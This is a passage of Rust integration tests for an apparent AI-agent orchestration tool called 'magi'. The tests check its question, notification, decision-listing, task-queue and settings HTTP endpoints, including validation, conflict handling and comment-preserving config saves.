13523            "t".to_owned(),
13524            "Do it".to_owned(),
13525            PathBuf::from("/repo/magi"),
13526            Source::Agent {
13527                run: talk.id.clone(),
13528                node: crate::queue::CHAT_NODE.to_owned(),
13529            },
13530        );
13531        task.start("20260902-000000-beef".to_owned());
13532        fx.queue().put(&mut task).unwrap();
13533
13534        let path = format!("/api/questions/{id}/consult");
13535        let res = fx.post(&path, None).await;
13536        assert!(res.status >= 400, "{}", res.body);
13537        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13538        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13539
13540        std::fs::write(&toml, "").unwrap();
13541        let res = fx.post(&path, None).await;
13542        assert_eq!(res.status, 202, "{}", res.body);
13543        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13544        let q = fx.questions().get(&id).unwrap();
13545        assert!(q.status.open());
13546        assert!(q.answer.is_none());
13547        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13548        assert_eq!(res.json()["can_consult_chat"], true);
13549        let list = fx.get("/api/questions").await.json();
13550        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13551        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13552
13553        let res = fx
13554            .post(
13555                &format!("/api/questions/{id}/answer"),
13556                Some(r#"{"choice":"hold"}"#),
13557            )
13558            .await;
13559        assert_eq!(res.status, 200, "{}", res.body);
13560        assert_eq!(res.json()["answer"]["choice"], "hold");
13561        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13562        assert_eq!(res.json()["can_consult_chat"], false);
13563        assert_eq!(fx.post(&path, None).await.status, 409);
13564
13565        let mut talk = fx.talks().get(&talk.id).unwrap();
13566        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13567        let list = fx.get("/api/questions").await.json();
13568        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13569        assert_eq!(list[0]["origin_chat_closed"], true);
13570        assert_eq!(list[0]["can_consult_chat"], false);
13571
13572        fx.talks().remove(&talk.id).unwrap();
13573        let list = fx.get("/api/questions").await.json();
13574        assert_eq!(list[0]["origin_chat"], Value::Null);
13575        assert_eq!(list[0]["origin_chat_closed"], false);
13576        assert_eq!(list[0]["can_consult_chat"], false);
13577    }
13578
13579    #[tokio::test]
13580    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13581        let fx = Fixture::start().await;
13582        let store = fx.questions();
13583        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13584        store.beat(&id, ask::WaiterKind::Asker);
13585        assert_eq!(
13586            fx.get("/api/health").await.json()["questions_needs_owner"],
13587            1
13588        );
13589
13590        // The owner asks back instead of deciding: the ask bar, the nav badge
13591        // and the title must stop naming this question, because there is
13592        // nothing to decide until the agent answers - `status` alone cannot
13593        // say that, which is the whole reason `questions_needs_owner` exists
13594        // alongside `questions_open`.
13595        let res = fx
13596            .post(
13597                &format!("/api/questions/{id}/say"),
13598                Some(r#"{"body":"why not Postgres?"}"#),
13599            )
13600            .await;
13601        assert_eq!(res.status, 200, "{}", res.body);
13602        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13603        assert_eq!(
13604            fx.get("/api/health").await.json()["questions_needs_owner"],
13605            0,
13606            "waiting on the agent is not waiting on the owner"
13607        );
13608
13609        // `magi ask --thread` replying is what brings the owner count back -
13610        // the same event that would resume the CLI call blocked in `magi
13611        // ask`.
13612        let mut q = store.get(&id).expect("get");
13613        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13614            .expect("reply");
13615        store.put(&mut q).expect("put");
13616        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13617        assert_eq!(
13618            fx.get("/api/health").await.json()["questions_needs_owner"],
13619            1,
13620            "the agent's reply is what should light the banner back up"
13621        );
13622    }
13623
13624    #[tokio::test]
13625    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13626        let fx = Fixture::start().await;
13627        let store = fx.questions();
13628
13629        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13630        let res = fx
13631            .post(
13632                &format!("/api/questions/{empty_id}/say"),
13633                Some(r#"{"body":"   "}"#),
13634            )
13635            .await;
13636        assert_eq!(res.status, 400, "{}", res.body);
13637
13638        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13639        let mut answered = store.get(&answered_id).expect("get");
13640        answered
13641            .answer(Answer::Choice("SQLite".to_owned()))
13642            .expect("answer");
13643        store.put(&mut answered).expect("put");
13644        let res = fx
13645            .post(
13646                &format!("/api/questions/{answered_id}/say"),
13647                Some(r#"{"body":"still there?"}"#),
13648            )
13649            .await;
13650        assert_eq!(res.status, 409, "{}", res.body);
13651
13652        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13653        let mut abandoned = store.get(&abandoned_id).expect("get");
13654        abandoned.abandon("timed out");
13655        store.put(&mut abandoned).expect("put");
13656        let res = fx
13657            .post(
13658                &format!("/api/questions/{abandoned_id}/say"),
13659                Some(r#"{"body":"still there?"}"#),
13660            )
13661            .await;
13662        assert_eq!(res.status, 409, "{}", res.body);
13663    }
13664
13665    #[tokio::test]
13666    async fn an_answer_the_question_does_not_offer_is_refused() {
13667        let fx = Fixture::start().await;
13668        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13669        let path = format!("/api/questions/{id}/answer");
13670
13671        for body in [
13672            r#"{"choice":"Postgres"}"#,
13673            r#"{"text":"whatever you think"}"#,
13674            r#"{"choice":"Redis","text":"both"}"#,
13675            r#"{}"#,
13676        ] {
13677            let res = fx.post(&path, Some(body)).await;
13678            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13679            assert!(res.json()["error"].is_string(), "{}", res.body);
13680        }
13681        // Nothing above may have answered it.
13682        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13683    }
13684
13685    #[tokio::test]
13686    async fn a_free_text_question_takes_text_and_not_a_choice() {
13687        let fx = Fixture::start().await;
13688        let id = ask(&fx, "What should the flag be called?", &[]);
13689        fx.questions().beat(&id, ask::WaiterKind::Asker);
13690        let path = format!("/api/questions/{id}/answer");
13691
13692        assert_eq!(
13693            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13694            400
13695        );
13696        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13697        assert_eq!(res.status, 200, "{}", res.body);
13698        assert_eq!(res.json()["answer"]["text"], "--json");
13699    }
13700
13701    #[tokio::test]
13702    async fn an_unknown_question_is_a_json_404() {
13703        let fx = Fixture::start().await;
13704        let res = fx
13705            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13706            .await;
13707        assert_eq!(res.status, 404, "{}", res.body);
13708        assert!(res.json()["error"].is_string());
13709    }
13710
13711    #[tokio::test]
13712    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13713        let fx = Fixture::start().await;
13714        let questions = Questions::at(fx.home.path().join("questions"));
13715        let store = Notices::at(fx.home.path().join("notifications"));
13716        let mut q = ask::Question::new(
13717            "t1".into(),
13718            "conduct".into(),
13719            "conductor".into(),
13720            "Continue?".into(),
13721            String::new(),
13722            Vec::new(),
13723        );
13724        questions.put(&mut q).unwrap();
13725        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13726        n.covered_by = Some(q.id.clone());
13727        let n = store.raise(n).unwrap();
13728        let listed = fx.get("/api/notifications").await.json();
13729        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13730        questions
13731            .update(&q.id, |q| {
13732                q.abandon("run gone");
13733                Ok(())
13734            })
13735            .unwrap();
13736        let listed = fx.get("/api/notifications").await.json();
13737        assert!(listed["items"][0]["answerable_question"].is_null());
13738        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13739        assert!(
13740            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13741                .unwrap()
13742                .contains("answerable_question")
13743        );
13744    }
13745
13746    #[tokio::test]
13747    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13748        let fx = Fixture::start().await;
13749        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13750        let task = crate::queue::Task::new(
13751            "work".into(),
13752            "work".into(),
13753            fx.home.path().into(),
13754            crate::queue::Source::Human,
13755        );
13756        let inquiry = outbox
13757            .file(&task, None, "test".into(), "入力待ち", "詳細")
13758            .unwrap();
13759        let root = fx.home.path().join("notifications/task-inquiries");
13760        std::fs::write(root.join("broken.json"), "{").unwrap();
13761        let mut unsupported = inquiry.clone();
13762        unsupported.id = "unsupported".into();
13763        unsupported.schema = 99;
13764        std::fs::write(
13765            root.join("unsupported.json"),
13766            serde_json::to_vec(&unsupported).unwrap(),
13767        )
13768        .unwrap();
13769        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13770        for _ in 0..2 {
13771            let response = fx.get("/api/decisions").await;
13772            assert_eq!(response.status, 200, "{}", response.body);
13773            let listed = response.json();
13774            assert_eq!(listed["unreadable"], 2);
13775            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13776            assert_eq!(listed["items"][0]["id"], inquiry.id);
13777            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13778        }
13779        assert_eq!(
13780            before,
13781            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13782        );
13783        assert!(outbox.list().is_err());
13784        std::fs::remove_file(root.join("broken.json")).unwrap();
13785        std::fs::remove_file(root.join("unsupported.json")).unwrap();
13786        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13787    }
13788
13789    #[tokio::test]
13790    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13791        let fx = Fixture::start().await;
13792        let root = fx.home.path().join("notifications/task-chat-migration-v1");
13793        std::fs::create_dir_all(&root).unwrap();
13794        let journal = serde_json::json!({
13795            "schema": 1, "pending": ["saved-inquiry"],
13796            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13797        });
13798        let bytes = serde_json::to_vec(&journal).unwrap();
13799        std::fs::write(root.join("state.json"), &bytes).unwrap();
13800        for _ in 0..2 {
13801            let response = fx.get("/api/decisions").await;
13802            assert_eq!(response.status, 200);
13803            let listed = response.json();
13804            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
13805            assert!(listed["items"].as_array().unwrap().is_empty());
13806            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
13807        }
13808        // An unreadable journal must not make the endpoint hide the list.
13809        std::fs::write(root.join("state.json"), b"{").unwrap();
13810        let response = fx.get("/api/decisions").await;
13811        assert_eq!(response.status, 200);
13812        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
13813    }
13814
13815    #[tokio::test]
13816    async fn notifications_list_read_dismiss_and_health_agree() {
13817        let fx = Fixture::start().await;
13818        let store = Notices::at(fx.home.path().join("notifications"));
13819        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13820        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13821
13822        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13823        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13824
13825        store
13826            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13827            .unwrap();
13828        let health = fx.get("/api/health").await.json();
13829        assert_eq!(health["notifications_unread"], 2);
13830        assert_ne!(
13831            health["notifications_rev"], rev0,
13832            "the badge must move live"
13833        );
13834
13835        let listed = fx.get("/api/notifications").await.json();
13836        assert_eq!(listed["unread"], 2);
13837        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13838        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13839
13840        let read = fx
13841            .post(&format!("/api/notifications/{}/read", a.id), None)
13842            .await;
13843        assert_eq!(read.status, 200, "{}", read.body);
13844        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13845
13846        let gone = fx
13847            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13848            .await;
13849        assert_eq!(gone.status, 200, "{}", gone.body);
13850        let listed = fx.get("/api/notifications").await.json();
13851        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13852        assert_eq!(listed["unread"], 0);
13853
13854        store.raise(Notice::info("x", "again")).unwrap();
13855        let all = fx.post("/api/notifications/read-all", None).await;
13856        assert_eq!(all.status, 200, "{}", all.body);
13857        assert_eq!(all.json()["marked"], 1);
13858        assert_eq!(
13859            fx.get("/api/health").await.json()["notifications_unread"],
13860            0
13861        );
13862
13863        let missing = fx.post("/api/notifications/nope/read", None).await;
13864        assert_eq!(missing.status, 404, "{}", missing.body);
13865        assert!(missing.json()["error"].is_string());
13866    }
13867
13868    /// New work reaches the queue through `magi task add`, a standing talk's
13869    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13870    /// so the compose form and that route are gone. The tests that covered
13871    /// that route's validation went with it, and nothing was left asserting
13872    /// it stays gone — so a re-added handler would silently let the phone
13873    /// file briefs no one validated.
13874    #[tokio::test]
13875    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13876        let f = Fixture::start().await;
13877
13878        let res = f
13879            .post(
13880                "/api/queue",
13881                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13882            )
13883            .await;
13884
13885        assert_eq!(
13886            res.status, 405,
13887            "POST /api/queue must not be a route: {}",
13888            res.body
13889        );
13890        assert!(
13891            f.queue().list().is_empty(),
13892            "a task filed by a route that does not exist must not reach the disk"
13893        );
13894        // The path itself is still served — the Queue view reads it — and the
13895        // per-task controls are untouched by the entry being removed.
13896        assert_eq!(f.get("/api/queue").await.status, 200);
13897    }
13898
13899    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13900    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13901        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13902            .expect("checkout dir");
13903    }
13904
13905    /// Two command agents, so a config needs no real CLI.
13906    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13907
13908    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13909        let tmp = TempDir::new().expect("tempdir");
13910        let repo = tmp.path().join("repo");
13911        std::fs::create_dir_all(&repo).expect("repo dir");
13912        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13913        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13914        if let Some(text) = machine_toml {
13915            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13916            std::fs::write(&machine, text).expect("machine toml");
13917        }
13918        (tmp, repo, machine)
13919    }
13920
13921    async fn settings_checkout(path: &FsPath, text: &str) {
13922        std::fs::create_dir_all(path).unwrap();
13923        std::fs::write(path.join("magi.toml"), text).unwrap();
13924        for args in [
13925            vec!["init", "-b", "main"],
13926            vec!["add", "magi.toml"],
13927            vec![
13928                "-c",
13929                "user.name=Test",
13930                "-c",
13931                "user.email=test@example.invalid",
13932                "commit",
13933                "-m",
13934                "fixture",
13935            ],
13936            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13937            vec![
13938                "symbolic-ref",
13939                "refs/remotes/origin/HEAD",
13940                "refs/remotes/origin/main",
13941            ],
13942        ] {
13943            crate::git::git(path, &args).await.unwrap();
13944        }
13945    }
13946
13947    #[tokio::test]
13948    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13949        let (tmp, repo, machine) =
13950            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13951        let root = tmp.path().join("roots");
13952        let selected = root.join("host/owner/selected");
13953        settings_checkout(
13954            &selected,
13955            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13956        )
13957        .await;
13958        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13959        let before = std::fs::read(&machine).unwrap();
13960        let ui = Arc::new(
13961            Ui::new(
13962                Queue::at(tmp.path().join("queue")),
13963                Questions::at(tmp.path().join("questions")),
13964                Talks::at(tmp.path().join("talks")),
13965                tmp.path().join("runs"),
13966                tmp.path().to_path_buf(),
13967                repo.clone(),
13968            )
13969            .with_machine_config(Some(machine.clone())),
13970        );
13971        let query = || {
13972            Query(SettingsQuery {
13973                repo: Some(selected.clone()),
13974            })
13975        };
13976        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13977        assert!(v.error.is_none(), "{:?}", v.error);
13978        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13979        assert_eq!(conductor.source, "repo");
13980        assert_eq!(
13981            conductor.machine_value,
13982            Some(toml::Value::String("a".into()))
13983        );
13984        assert!(!conductor.editable);
13985        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13986        assert_eq!(
13987            judges.count.as_ref().unwrap().machine_value,
13988            Some(toml::Value::Integer(1))
13989        );
13990        assert!(
13991            !v.roles
13992                .iter()
13993                .find(|r| r.key == "reviewers")
13994                .unwrap()
13995                .editable
13996        );
13997        let unknown = || {
13998            Query(SettingsQuery {
13999                repo: Some(tmp.path().to_path_buf()),
14000            })
14001        };
14002        assert_eq!(
14003            settings_get(State(ui.clone()), unknown())
14004                .await
14005                .unwrap_err()
14006                .status,
14007            StatusCode::UNPROCESSABLE_ENTITY
14008        );
14009        let body = || {
14010            Ok(Json(RolesBody {
14011                revision: v.revision.clone(),
14012                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14013                counts: Default::default(),
14014            }))
14015        };
14016        assert_eq!(
14017            settings_put_roles(State(ui.clone()), unknown(), body())
14018                .await
14019                .unwrap_err()
14020                .status,
14021            StatusCode::UNPROCESSABLE_ENTITY
14022        );
14023        assert_eq!(std::fs::read(&machine).unwrap(), before);
14024        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14025            .await
14026            .unwrap();
14027        assert_eq!(
14028            saved.repo,
14029            selected.canonicalize().unwrap().display().to_string()
14030        );
14031        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14032        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14033        // A cache miss refreshes the stable candidate list exactly for validation.
14034        let fresh = root.join("host/owner/fresh");
14035        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14036        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14037            .await
14038            .unwrap();
14039        assert_eq!(fresh_view.repositories.len(), 3);
14040    }
14041
14042    #[tokio::test]
14043    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14044        let (tmp, repo, machine) = settings_dirs(
14045            "[roles]\nreviewers = [\"a\"]\n",
14046            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14047        );
14048        let root = tmp.path().join("roots");
14049        let selected = root.join("host/owner/selected");
14050        settings_checkout(
14051            &selected,
14052            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14053        )
14054        .await;
14055        let broken = root.join("host/owner/broken");
14056        settings_checkout(&broken, "[roles\nbroken").await;
14057        let machine_text = format!(
14058            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14059            toml::Value::String(root.display().to_string())
14060        );
14061        std::fs::write(&machine, &machine_text).unwrap();
14062        let originals: Vec<_> = [&repo, &selected, &broken]
14063            .iter()
14064            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14065            .collect();
14066        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14067        let default = f.get("/api/settings").await.json();
14068        assert_eq!(
14069            default["repo"],
14070            repo.canonicalize().unwrap().display().to_string()
14071        );
14072        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14073        let query = format!("?repo={}", selected.display());
14074        let res = f.get(&format!("/api/settings{query}")).await;
14075        assert_eq!(res.status, 200, "{}", res.body);
14076        let v = res.json();
14077        assert!(v["error"].is_null(), "{v}");
14078        assert_eq!(v["repositories"], default["repositories"]);
14079        let role = |key: &str| {
14080            v["roles"]
14081                .as_array()
14082                .unwrap()
14083                .iter()
14084                .find(|r| r["key"] == key)
14085                .unwrap()
14086        };
14087        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14088        assert_eq!(role("advisors")["source"], "repo");
14089        assert_eq!(role("advisors")["editable"], false);
14090        assert!(role("advisors")["machine_value"].is_null());
14091        assert_eq!(role("judges")["count"]["value"], 2);
14092        assert_eq!(role("judges")["count"]["machine_value"], 1);
14093        assert_eq!(role("judges")["count"]["source"], "repo");
14094        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14095        assert!(
14096            source.contains("origin/main") && !source.contains("magi/config/"),
14097            "{source}"
14098        );
14099        assert_eq!(
14100            role("reviewers")["editable"],
14101            false,
14102            "default context outside roots must protect its declarations"
14103        );
14104        let body =
14105            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14106        let unknown = format!("?repo={}", tmp.path().display());
14107        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14108        assert_eq!(
14109            f.put(&format!("/api/settings/roles{unknown}"), &body)
14110                .await
14111                .status,
14112            422
14113        );
14114        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14115        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14116            .to_string();
14117        assert_eq!(
14118            f.put(&format!("/api/settings/roles{query}"), &refuse)
14119                .await
14120                .status,
14121            422
14122        );
14123        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14124        assert_eq!(saved.status, 200, "{}", saved.body);
14125        assert_eq!(saved.json()["repo"], v["repo"]);
14126        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14127        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14128        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14129            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14130        }
14131        let error = f
14132            .get(&format!("/api/settings?repo={}", broken.display()))
14133            .await;
14134        assert_eq!(error.status, 200);
14135        assert!(error.json()["error"]["message"].is_string());
14136        assert_eq!(error.json()["repositories"], default["repositories"]);
14137    }
14138
14139    #[tokio::test]
14140    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14141        let (_tmp, repo, machine) =
14142            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14143        let f = Fixture::with_repo_and_machine(repo, machine).await;
14144        let res = f.get("/api/settings").await;
14145        assert_eq!(res.status, 200, "{}", res.body);
14146        let v = res.json();
14147        assert!(v["error"].is_null(), "{v}");
14148        let role = |k: &str| {
14149            v["roles"]
14150                .as_array()
14151                .and_then(|r| r.iter().find(|x| x["key"] == k))
14152                .cloned()
14153                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14154        };
14155        assert_eq!(role("judges")["source"], "machine");
14156        assert_eq!(role("judges")["editable"], true);
14157        assert_eq!(role("implementers")["source"], "default");
14158        let adv = role("advisors");
14159        assert_eq!(adv["fallback"], "judges");
14160        assert!(
14161            adv["seats"]
14162                .as_array()
14163                .is_some_and(|s| s.iter().all(|x| x == "b")),
14164            "{adv}"
14165        );
14166        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14167        assert_eq!(v["agents"][0]["source"], "repo");
14168    }
14169
14170    #[tokio::test]
14171    async fn settings_get_reports_a_config_that_does_not_parse() {
14172        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14173        let f = Fixture::with_repo_and_machine(repo, machine).await;
14174        let res = f.get("/api/settings").await;
14175        assert_eq!(res.status, 200, "{}", res.body);
14176        let v = res.json();
14177        assert!(v["error"]["message"].is_string(), "{v}");
14178        assert!(
14179            v["error"]["path"]
14180                .as_str()
14181                .is_some_and(|p| p.ends_with("magi.toml")),
14182            "{v}"
14183        );
14184        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14185    }
14186
14187    #[tokio::test]
14188    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14189        let (_tmp, repo, machine) = settings_dirs(
14190            SETTINGS_AGENTS,
14191            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14192        );
14193        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14194        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14195        let rev = f.get("/api/settings").await.json()["revision"]
14196            .as_str()
14197            .expect("revision")
14198            .to_owned();
14199        let body = serde_json::json!({
14200            "revision": rev,
14201            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14202        })
14203        .to_string();
14204        let res = f.put("/api/settings/roles", &body).await;
14205        assert_eq!(res.status, 200, "{}", res.body);
14206        let text = std::fs::read_to_string(&machine).expect("machine");
14207        assert_eq!(
14208            text,
14209            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14210        );
14211        assert_eq!(
14212            std::fs::read(repo.join("magi.toml")).expect("read"),
14213            repo_before
14214        );
14215        let again = f.get("/api/settings").await.json();
14216        let judges = again["roles"]
14217            .as_array()
14218            .expect("roles")
14219            .iter()
14220            .find(|r| r["key"] == "judges")
14221            .expect("judges")
14222            .clone();
14223        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14224        // The old revision is now stale.
14225        let stale = f.put("/api/settings/roles", &body).await;
14226        assert_eq!(stale.status, 409, "{}", stale.body);
14227    }
14228
14229    #[tokio::test]
14230    async fn settings_counts_are_reported_and_saved() {
14231        let (_tmp, repo, machine) = settings_dirs(
14232            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14233            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14234        );
14235        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14236        let v = f.get("/api/settings").await.json();
14237        let count = |v: &serde_json::Value, k: &str| {
14238            v["roles"]
14239                .as_array()
14240                .and_then(|r| r.iter().find(|x| x["key"] == k))
14241                .map(|x| x["count"].clone())
14242                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14243        };
14244        let imp = count(&v, "implementers");
14245        assert_eq!(imp["value"], 2);
14246        assert_eq!(imp["source"], "machine");
14247        assert_eq!(imp["file_key"], "candidates");
14248        assert_eq!(imp["roster_len"], 2);
14249        assert_eq!(imp["backups"], 0);
14250        assert_eq!(count(&v, "judges")["source"], "default");
14251        assert_eq!(count(&v, "advisors")["min"], 0);
14252        assert_eq!(count(&v, "reviewers")["editable"], false);
14253        assert!(
14254            count(&v, "reviewers")["locked_reason"]
14255                .as_str()
14256                .is_some_and(|m| m.contains("graph.reviewers"))
14257        );
14258        assert!(count(&v, "fixer").is_null());
14259        let rev = v["revision"].as_str().expect("revision").to_owned();
14260        let body = serde_json::json!({
14261            "revision": rev,
14262            "roles": { "judges": ["b"] },
14263            "counts": { "implementers": 1, "advisors": 0 }
14264        })
14265        .to_string();
14266        let res = f.put("/api/settings/roles", &body).await;
14267        assert_eq!(res.status, 200, "{}", res.body);
14268        let text = std::fs::read_to_string(&machine).expect("machine");
14269        assert_eq!(
14270            text,
14271            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14272        );
14273        let after = f.get("/api/settings").await.json();
14274        assert_eq!(count(&after, "implementers")["value"], 1);
14275        assert_eq!(count(&after, "implementers")["backups"], 1);
14276        assert_eq!(count(&after, "advisors")["value"], 0);
14277        let before = std::fs::read_to_string(&machine).expect("machine");
14278        let rev = after["revision"].as_str().expect("revision").to_owned();
14279        for counts in [
14280            serde_json::json!({ "judges": 0 }),
14281            serde_json::json!({ "judges": "x" }),
14282            serde_json::json!({ "judges": 2.5 }),
14283            serde_json::json!({ "judges": -1 }),
14284            serde_json::json!({ "reviewers": 3 }),
14285            serde_json::json!({ "bogus": 3 }),
14286        ] {
14287            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14288            let res = f.put("/api/settings/roles", &body).await;
14289            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14290            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14291        }
14292    }
14293
14294    #[tokio::test]
14295    async fn settings_put_refuses_without_touching_the_file() {
14296        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14297        let (_tmp, repo, machine) = settings_dirs(
14298            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14299            Some(machine_text),
14300        );
14301        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14302        let rev = f.get("/api/settings").await.json()["revision"]
14303            .as_str()
14304            .expect("revision")
14305            .to_owned();
14306        for roles in [
14307            serde_json::json!({ "judges": ["nope"] }),
14308            serde_json::json!({ "reviewers": ["b"] }),
14309            serde_json::json!({ "bogus": ["a"] }),
14310        ] {
14311            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14312            let res = f.put("/api/settings/roles", &body).await;
14313            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14314            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14315            assert_eq!(
14316                std::fs::read_to_string(&machine).expect("machine"),
14317                machine_text
14318            );
14319        }
14320    }
14321
14322    #[tokio::test]
14323    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14324        let tmp = TempDir::new().expect("tempdir");
14325        let repo = tmp.path().join("repo");
14326        std::fs::create_dir_all(&repo).expect("repo dir");
14327        let root = tmp.path().join("root");
14328        make_checkout(&root, "github.com", "yukimemi", "magi");
14329        std::fs::write(
14330            repo.join("magi.toml"),
